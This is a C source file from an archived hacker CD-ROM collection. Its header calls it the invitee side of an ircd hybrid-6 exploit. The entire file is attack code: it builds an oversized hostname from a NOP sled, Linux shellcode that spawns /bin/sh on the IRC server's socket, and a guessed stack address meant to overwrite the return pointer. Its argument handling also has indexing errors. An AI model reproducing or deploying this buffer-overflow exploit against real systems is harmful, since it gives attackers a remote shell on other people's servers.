home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / ircdexp / invitee / hostname.c next >
Encoding:
C/C++ Source or Header  |  1999-08-13  |  2.3 KB  |  93 lines

  1. /*
  2.  * ircd hybrid-6 exploit (invitee side)
  3.  * Matt Conover (Shok) & w00w00 Security Team
  4.  *
  5.  * This is used to generate the shellcoded hostname, which is used to
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <signal.h>
  13. #include <errno.h>
  14.  
  15. #define ERROR -1
  16.  
  17. #define OFFSET 0
  18. #define HOSTLEN 59 /* this is the just the right len to overwrite eip */
  19.  
  20. unsigned long getesp();
  21.  
  22. /*
  23.  * Linux x86 shellcode, for a one-sided (input only) shell
  24.  * Shellcode close's and dup's stdin to your ircd sockfd, allowing
  25.  * you to give input.  If we had more room for shellcode, we could make it
  26.  * a full duplex shell (two-sided).  Unless you redirect output, it will
  27.  * be sent to the terminal that ran ircd.
  28.  */
  29. char shellcode[] = 
  30.    "\xeb\x28\x5e\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x8b\x7e\x0d\x8a\x5f\x38"
  31.    "\xb0\x29\xcd\x80\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e"
  32.    "\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xd3\xff\xff\xff/bin/sh";
  33.  
  34. /* --------------------------------------- */
  35.  
  36. unsigned long getesp() 
  37. {
  38.    __asm__("movl %esp,%eax"); /* return value stored in %eax with C */
  39. }
  40.  
  41. int main(int argc, char **argv)
  42. {
  43.    FILE *filefd;
  44.    char *argstr, *buf, *bufptr;
  45.  
  46.    long addr;
  47.    int i, bufsize = HOSTLEN, offset = OFFSET;
  48.  
  49.    if (argc > 3)
  50.    {
  51.       fprintf(stderr, "Usage: %s [bufsize] [offset]\n", argv[0]);
  52.       exit(ERROR);
  53.    }
  54.  
  55.    if (argc == 2) bufsize = atoi(argv[2]);
  56.    if (argc == 3) offset = atoi(argv[3]);
  57.  
  58.    if (bufsize < HOSTLEN) 
  59.    {
  60.       printf("bufsize too small.. setting to minimum bufsize (%d)\n",
  61.              HOSTLEN);
  62.  
  63.       bufsize = HOSTLEN;
  64.    }
  65.  
  66.    buf = malloc(bufsize+1);
  67.    if (buf == NULL)
  68.    {
  69.       fprintf(stderr, "Error malloc'ing memory: %s\n", strerror(errno));
  70.       exit(ERROR);
  71.    }
  72.  
  73.    addr = getesp() - offset;
  74.  
  75.    printf("stack ptr (0x%lx) - offset (%d) = 0x%lx\n",
  76.           addr - offset, offset, addr);
  77.  
  78.    bufptr = buf;
  79.  
  80.    i = bufsize - (strlen(shellcode) + 5), memset(buf, 0x90, i);
  81.    bufptr = buf + i, memcpy(bufptr, shellcode, strlen(shellcode));
  82.  
  83.    bufptr = buf + strlen(shellcode) + i, *bufptr++ = '.';
  84.    memcpy(bufptr, &addr, sizeof(addr));
  85.    
  86.    buf[bufsize] = '\0';
  87.  
  88.    printf("strlen(buf) = %d, strlen(shellcode) = %d\n\n", 
  89.           strlen(buf), strlen(shellcode));
  90.  
  91.    printf("%s\n", buf);
  92. }
  93.